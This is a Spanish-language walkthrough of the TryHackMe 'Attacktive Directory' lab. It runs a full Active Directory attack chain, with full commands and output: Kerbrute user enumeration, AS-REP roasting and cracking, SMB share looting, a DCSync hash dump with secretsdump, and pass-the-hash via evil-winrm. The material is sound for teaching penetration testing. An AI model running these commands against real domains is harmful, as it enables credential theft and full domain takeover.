Attacktive Directory

Antes de iniciar este recorrido práctico y explorar algunas de las herramientas clave para el pentesting en entornos Kerberos y Active Directory, te recomiendo leer el siguiente artículo, donde explico en detalle cómo funciona el proceso de autenticación en Kerberos y cuáles son los principales componentes que intervienen en él.

Enumeración de puertos/servicios

La primera tarea que se nos propone en esta sala es enumerar los puertos abiertos y servicios disponibles con nmap, para ello usaré el siguiente comando.

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# nmap -sCV --open -T4 -v -n 10.10.86.78 
📌Parámetros
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25 23:38:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-24T23:24:40
| Not valid after:  2025-11-23T23:24:40
| MD5:   20a8:780f:6d35:a961:bdda:553b:7460:9607
|_SHA-1: fa13:cd56:cb24:9db8:9e54:d703:fdba:cf20:3ce2:4ff9
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-05-25T23:38:20+00:00
|_ssl-date: 2025-05-25T23:38:29+00:00; -9m06s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -9m06s, deviation: 0s, median: -9m06s
| smb2-time: 
|   date: 2025-05-25T23:38:21
|_  start_date: N/A

En síntesis:

+--------+--------+-------------------------+------------------------------+
| Puerto | Estado | Servicio                | Protocolo/Descripción        |
+--------+--------+-------------------------+------------------------------+
| 53     | open   | domain                  | DNS - Simple DNS Plus       |
| 80     | open   | http                    | IIS 10.0 (TRACE habilitado) |
| 88     | open   | kerberos-sec            | Kerberos                    |
| 135    | open   | msrpc                   | RPC                         |
| 139    | open   | netbios-ssn             | NetBIOS Session Service     |
| 389    | open   | ldap                    | AD LDAP                     |
| 445    | open   | microsoft-ds?           | SMB over TCP                |
| 464    | open   | kpasswd5?               | Kerberos password change    |
| 593    | open   | ncacn_http              | RPC over HTTP               |
| 636    | open   | tcpwrapped              | LDAPS (probable)            |
| 3268   | open   | ldap                    | Global Catalog LDAP         |
| 3269   | open   | tcpwrapped              | Global Catalog LDAPS        |
| 3389   | open   | ms-wbt-server           | RDP(self-signed certificate)|
| 5985   | open   | http                    | WinRM (HTTPAPI 2.0)         |
+--------+--------+-------------------------+------------------------------+

Del resultado que nos dio nmap destacamos lo siguiente:

  • Servicios de Active Directory identificados:

    • LDAP (389, 3268) y LDAPS (probablemente 636, 3269): usados para autenticación y replicación de objetos del dominio.

    • Kerberos (88, 464): servicio central de autenticación en AD.

    • DNS (53): gestión del namespace del dominio.

    • RPC/MSRPC (135, 593): comunicación entre controladores de dominio.

    • SMB (445, 139): posible vector para enumeración o explotación (ej. EternalBlue).

    • RDP (3389): acceso remoto a la máquina; necesita validación de control de acceso y cifrado.

    • WinRM (5985): canal de administración remota; verificar políticas de autenticación y uso.

  • Información del dominio:

    • Dominio: spookysec.local

    • Nombre NetBIOS: THM-AD

    • Nombre de equipo: ATTACKTIVEDIREC

    • Sistema operativo: Windows Server (versión 10.0.17763 — Server 2019)

    • Sincronización de hora: desajuste de -9 minutos entre el sistema y el escáner; importante porque afecta la validez de tokens Kerberos

Agregamos el domain name al /etc/hosts de kali para evitar el problema del virtual host

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# echo "10.10.86.78    AttacktiveDirectory.spookysec.local spookysec.local" >> /etc/hosts 

Enumerando usuarios via kerberos o Pre-Authentication Abuse

La siguiente tarea consta en aprovechar el puerto 88 (kerberos) para enumerar usuarios con dos diccionarios que nos facilitan desde la plataforma: Users.txt y Passwords.txt Para realizar esta enumeración vamos a utilizar Kerbrute con los siguientes parámetros:

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# kerbrute userenum --dc 10.10.86.78 --domain spookysec.local userlist.txt


    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/25/25 - Ronnie Flathers @ropnop

2025/05/25 20:52:38 >  Using KDC(s):
2025/05/25 20:52:38 >   10.10.86.78:88

2025/05/25 20:52:38 >  [+] VALID USERNAME:       james@spookysec.local
2025/05/25 20:52:42 >  [+] svc-admin has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$svc-admin@SPOOKYSEC.LOCAL:e391c035b5a3d913d299fe4e87f27fe5$7f24e07471a8b35dc48c82f3f29f8778c309f60587b67e475d0254261fa9e37411bcfd9638f751985ac499512756caae39f11d0605bf0bf87c485e2ea966e29831efb94b2d9445ed660ec3ee99bf0d897f228d984667061ee46677bb66911823a1bd3c5173e4bd583290cdcc66e17c553cf2ba7012f95d316a215374ac6b32bbf2e53998a9483e6163cda963422ed2e02799b735320b3696131828617c2722fc45842abdec1107dcd1bd5f2310971943af11a6c04ff50a1e2afbd2fc834fb501d3c698de22d97726ace2196d9170c0dfe4506bdbe9ef500589b4df98fd693546da905be3b04c23cba86ff0d147d76e8dcef5c85047657299beda2e2a36f7609ea59559778565
2025/05/25 20:52:42 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2025/05/25 20:52:47 >  [+] VALID USERNAME:       James@spookysec.local
2025/05/25 20:52:49 >  [+] VALID USERNAME:       robin@spookysec.local
2025/05/25 20:53:08 >  [+] VALID USERNAME:       darkstar@spookysec.local
2025/05/25 20:53:20 >  [+] VALID USERNAME:       administrator@spookysec.local
2025/05/25 20:53:43 >  [+] VALID USERNAME:       backup@spookysec.local
2025/05/25 20:53:54 >  [+] VALID USERNAME:       paradox@spookysec.local
2025/05/25 20:55:06 >  [+] VALID USERNAME:       JAMES@spookysec.local
2025/05/25 20:55:30 >  [+] VALID USERNAME:       Robin@spookysec.local
2025/05/25 20:57:52 >  [+] VALID USERNAME:       Administrator@spookysec.local
2025/05/25 21:02:38 >  [+] VALID USERNAME:       Darkstar@spookysec.local
2025/05/25 21:04:10 >  [+] VALID USERNAME:       Paradox@spookysec.local
2025/05/25 21:09:20 >  [+] VALID USERNAME:       DARKSTAR@spookysec.local
2025/05/25 21:10:49 >  [+] VALID USERNAME:       ori@spookysec.local
2025/05/25 21:13:34 >  [+] VALID USERNAME:       ROBIN@spookysec.local                                 
2025/05/25 21:20:21 >  Done! Tested 73317 usernames (16 valid) in 1663.309 seconds 

AS-REP Roasting

En el apartado 5 se nos propone realizar una poc de una técnica de explotación conocida como AS-REP Roasting, pero antes de pasar a la shell entendamos como funciona este ataque: En una implementación estándar de Kerberos, el proceso de autenticación inicia cuando el usuario envía una solicitud de Ticket Granting Ticket (TGT) al Key Distribution Center (KDC). Como medida de seguridad, Kerberos requiere que el cliente se autentique previamente mediante un mecanismo conocido como pre autenticación. Esto implica que el cliente debe cifrar un timestamp con su clave derivada de la contraseña antes de que el KDC procese su solicitud.

Sin embargo, si una cuenta de usuario tiene la pre autenticación deshabilitada, el KDC no exige esta verificación inicial. En cambio, responde directamente con un mensaje denominado AS-REP (Authentication Service Reply), que contiene datos cifrados utilizando una clave derivada de la contraseña del usuario solicitante.

Lo que hace funcional a este ataque es que el formato del mensaje AS-REP es conocido y predecible, permitiéndonos comprobar la validez de cada intento de descifrado sin necesidad de interactuar nuevamente con el controlador de dominio. Esto reduce significativamente el riesgo de detección y permite ataques prolongados sin levantar alertas.

En el siguiente ejercicio vamos a reutilizar el comando de la tarea anterior para enumerar usuarios con Kerbrute. Los hashes generados se guardarán en un archivo llamado as-rep_hash, que luego será utilizado como input por John the Ripper para intentar descifrarlos mediante fuerza bruta con el diccionario rockyou.txt.

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# kerbrute userenum --dc 10.10.86.78 --domain spookysec.local userlist.txt --downgrade --hash-file as-rep_hash

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005   ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)     
1g 0:00:00:06 DONE (2025-05-25 21:48) 0.1434g/s 837490p/s 837490c/s 837490C/s manaia05..mana7510
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Otra opción para extraer los hashes de los usuarios es usando impacket-GetNPUsers con el siguiente comando

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# impacket-GetNPUsers spookysec.local/ -dc-ip 10.10.86.78 -usersfile userlist.txt -format john -outputfile hashes.txt
📌Parámetros

Kerbrute

  • kerbrute userenum: ejecuta la funcionalidad de enumeración de usuarios de la herramienta Kerbrute.

  • --dc 10.10.86.78: especifica la dirección IP del Domain Controller objetivo.

  • --domain spookysec.local: indica el nombre del dominio contra el cual se realizará la enumeración.

  • userlist.txt: archivo que contiene la lista de nombres de usuario a verificar.

  • --downgrade: fuerza el uso de una versión compatible del protocolo para evitar ciertos mecanismos de protección.

  • --hash-file as-rep_hash: guarda las respuestas AS-REP obtenidas en un archivo, útil para ataques posteriores (por ejemplo, crackeo offline).

impacket-GetNPUsers

  • spookysec.local/: dominio objetivo en el que se buscarán las cuentas vulnerables.

  • -dc-ip 10.10.86.78: IP del Domain Controller contra el cual se realiza la consulta.

  • -usersfile userlist.txt: archivo que contiene la lista de usuarios que se van a probar.

  • -format john: formatea la salida para ser compatible con la herramienta John the Ripper.

  • -outputfile hashes.txt: archivo donde se almacenarán los hashes extraídos.

Siguiendo con el módulo/sala, la tarea 6 nos propone usar las credenciales que obtuvimos anteriormente para continuar con la fase de explotación que consiste en ganar acceso no autorizado a un sistema, servicio o recurso. Como ya contamos con las siguientes credenciales svc-admin:management2005 lo siguiente que vamos a realizar ahora es validar estas contraseñas contra distintos servicios para ver a cuales tenemos acceso. Para automatizar esta tarea desarrolle un pequeño script en bash que lo podes descargar de mi repositorio service_validation.

┌──(root㉿kali)-[/home/kali/Documents/THM]
└─# ./service_validation.sh spookysec.local svc-admin 'management2005'

[*] Probando credenciales contra spookysec.local con usuario 'svc-admin'...

--- Probando smb ---
SMB         10.10.86.78   445    ATTACKTIVEDIREC  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)
SMB         10.10.86.78   445    ATTACKTIVEDIREC  [+] spookysec.local\svc-admin:management2005 

--- Probando ldap ---
SMB         10.10.86.78   445    ATTACKTIVEDIREC  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)
LDAP        10.10.86.78   389    ATTACKTIVEDIREC  [+] spookysec.local\svc-admin:management2005 

--- Probando winrm ---
WINRM       10.10.86.78   5985   ATTACKTIVEDIREC  [*] Windows 10 / Server 2019 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local)
WINRM       10.10.86.78   5985   ATTACKTIVEDIREC  [-] spookysec.local\svc-admin:management2005

--- Probando rdp ---
RDP         10.10.86.78   3389   ATTACKTIVEDIREC  [*] Windows 10 or Windows Server 2016 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (nla:False)
RDP         10.10.86.78   3389   ATTACKTIVEDIREC  [+] spookysec.local\svc-admin:management2005 (Pwn3d!)

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.86.78   135    ATTACKTIVEDIREC  [*] Windows 10 / Server 2019 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local)
RPC         10.10.86.78   135    ATTACKTIVEDIREC  [+] spookysec.local\svc-admin:management2005 

--- Probando ftp ---

--- Probando ssh ---

El resultado nos indica que podemos utilizar las credenciales con smb, ldap y rdp. Iniciando con smb podemos probar la tool smbmap para enumerar permisos y recursos de la siguiente manera:

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# smbmap -H "spookysec.local" -u "svc-admin" -p "management2005"

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                                                                      
[*] Detected 1 hosts serving SMB
[|] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[-] Enumerating shares...                                                                                                                                                                                               
[+] IP: 10.10.86.78:445       Name: spookysec.local           Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backup                                                  READ ONLY
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
[\] Closing connections.. 

Encontramos el directorio backup con el permiso de lectura habilitado, para inspeccionar su contenido vamos a conectarnos al smb con smbclient

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# smbclient  //spookysec.local/backup -U svc-admin --password=management2005 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Apr  4 15:08:39 2020
  ..                                  D        0  Sat Apr  4 15:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 15:08:53 2020

                8247551 blocks of size 4096. 3647542 blocks available
smb: \> get backup_credentials.txt 
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

Encontramos el archivo backup_credentials.txt y al descargarlo lo podemos leer y ver una cadena codificada en base64. Para decodificar esta cadena podemos usar herramientas online como Cyberchef o simplemente lo decodificamos desde nuestra shell con el siguiente comando:

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# cat backup_credentials.txt 
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw 

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d

backup@spookysec.local:backup2517860  

Y de esta forma obtuvimos nuevas credenciales backup:backup2517860.

DCSync Attack con impacket-secretsdump o secret replication con DRSUAPI

📌DCSync: Exfiltración de credenciales mediante replicación de directorio

El ataque conocido como DCSync es una técnica avanzada que permite a un atacante extraer credenciales del dominio simulando el comportamiento de un controlador de dominio legítimo. Esta técnica explota el protocolo de replicación que utiliza Active Directory para mantener sincronizadas las bases de datos entre los distintos controladores de dominio. Mediante el uso de llamadas al servicio DRSUAPI, que forma parte del mecanismo de replicación de directorio, un atacante con los privilegios adecuados puede solicitar al controlador de dominio los secretos almacenados en el archivo NTDS.dit, incluyendo hashes LM/NTLM y claves Kerberos.

El archivo NTDS.dit constituye un componente esencial del servicio de Active Directory, ya que contiene la base de datos que almacena todos los objetos del dominio, sus atributos y, de forma especialmente sensible, los hashes de contraseñas de usuario. Esta base de datos se encuentra en todos los controladores de dominio y es replicada periódicamente para garantizar la integridad y consistencia del entorno. Para facilitar esta sincronización, Active Directory implementa un conjunto de protocolos y servicios entre los que se destaca DRSUAPI (Directory Replication Service Remote Protocol API), una interfaz de llamada a procedimiento remoto (RPC) desarrollada por Microsoft que permite la replicación remota de objetos de directorio entre controladores de dominio.

DCSync aprovecha este comportamiento legítimo del protocolo para solicitar, de forma remota, los secretos del dominio sin necesidad de acceder físicamente al archivo NTDS.dit. Para llevar a cabo este ataque, es necesario contar con credenciales válidas que posean permisos específicos dentro del dominio, tales como la capacidad de replicar cambios en el directorio. Por defecto, estos permisos están asignados a grupos altamente privilegiados como Domain Admins, Administrators o Enterprise Admins. No obstante, dichos privilegios también pueden ser delegados de manera explícita a otras cuentas, lo cual amplía significativamente la superficie de ataque en entornos mal configurados.

Una de las herramientas más utilizadas para ejecutar esta técnica es impacket-secretsdump, perteneciente a la suite Impacket. Al invocar esta herramienta con el parámetro -just-dc, el atacante puede solicitar directamente al controlador de dominio el contenido crítico de la base de datos NTDS.dit utilizando la funcionalidad de replicación. El resultado incluye hashes de contraseñas (LM y NTLM) de todas las cuentas del dominio, así como las claves Kerberos asociadas a cada usuario, incluyendo las del usuario krbtgt, cuya manipulación permite generar tickets dorados (Golden Tickets) y mantener acceso persistente y privilegiado dentro del entorno.

El impacto de este ataque es crítico, ya que brinda acceso completo a todas las credenciales del dominio, habilita técnicas como pass-the-hash y pass-the-ticket, y permite la creación de mecanismos de persistencia difíciles de detectar. Además, dado que no requiere la ejecución de código en el controlador de dominio comprometido, puede ejecutarse de manera silenciosa y pasar desapercibido si no se dispone de mecanismos de monitoreo adecuados para detectar solicitudes de replicación anómalas.

La siguiente tarea que se nos propone es utilizar impacket-secretsdump para recuperar todos los hashes de contraseñas, incluido el de la cuenta "backup".

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# impacket-secretsdump -just-dc spookysec.local/backup:'backup2517860'@10.10.86.78

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:e0e9ae10bb5148345cda766a8a631369:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:c1ca8de1518abdcc029af081cad23be08f529a714c2ef90fd883000400c99cad
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:5d6dd6bc369d4c6f92ef769899bb70fa
ATTACKTIVEDIREC$:des-cbc-md5:a2d07351807a3119
[*] Cleaning up...

Pass-the-Hash

El ataque Pass-the-Hash consiste en capturar el hash NTLM de un usuario y utilizarlo directamente para autenticarse en servicios Windows que admiten este tipo de autenticación. El atacante no necesita descifrar el hash ni conocer la contraseña original. Este ataque aprovecha el hecho de que, en muchos entornos Windows, los hashes NTLM son aceptados por servicios como SMB, WMI, WinRM o RDP como sustituto válido de la contraseña.

Esto es posible porque el proceso de autenticación NTLM, en versiones anteriores a Kerberos o en ciertos contextos específicos, verifica el hash y no la contraseña en texto plano. Por lo tanto, si un atacante tiene acceso al hash, puede usar herramientas como psexec, wmiexec, evil-winrm o smbclient para iniciar sesión en sistemas remotos como si fuera el usuario legítimo.

Este tipo de ataque es común luego de obtener los hashes de la base de datos SAM, NTDS.dit, o mediante herramientas como mimikatz o secretsdump.

La última tarea que del módulo consiste en reutilizar el hash del administrador que obtuvimos con impacket-secretsdump y aplicarlo con Evil-WinRM o con impacket-psexec y conectarnos al equipo mediante el servicio winrm

┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# evil-winrm -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.86.78
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
TryHackMe{*****************}

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\svc-admin\Desktop\user.txt.txt
TryHackMe{*****************}

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\backup\Desktop\PrivEsc.txt
TryHackMe{*****************}

Diferencias entre Pass the Hash y Pass the Ticket:

  • Tipo de credencial reutilizada: Pass-the-Hash usa hashes NTLM, mientras que Pass-the-Ticket usa tickets Kerberos (TGT/TGS).

  • Protocolo atacado: Pass-the-Hash se basa en NTLM, Pass-the-Ticket se basa en Kerberos.

  • Escenario de uso típico: Pass-the-Hash es útil en redes que aún permiten NTLM (por compatibilidad). Pass-the-Ticket se usa en redes modernas con autenticación Kerberos predominante.

  • Herramientas comunes: Para PtH: secretsdump.py, mimikatz, psexec, evil-winrm. Para PtT: mimikatz, kerberos::ptt, Rubeus.

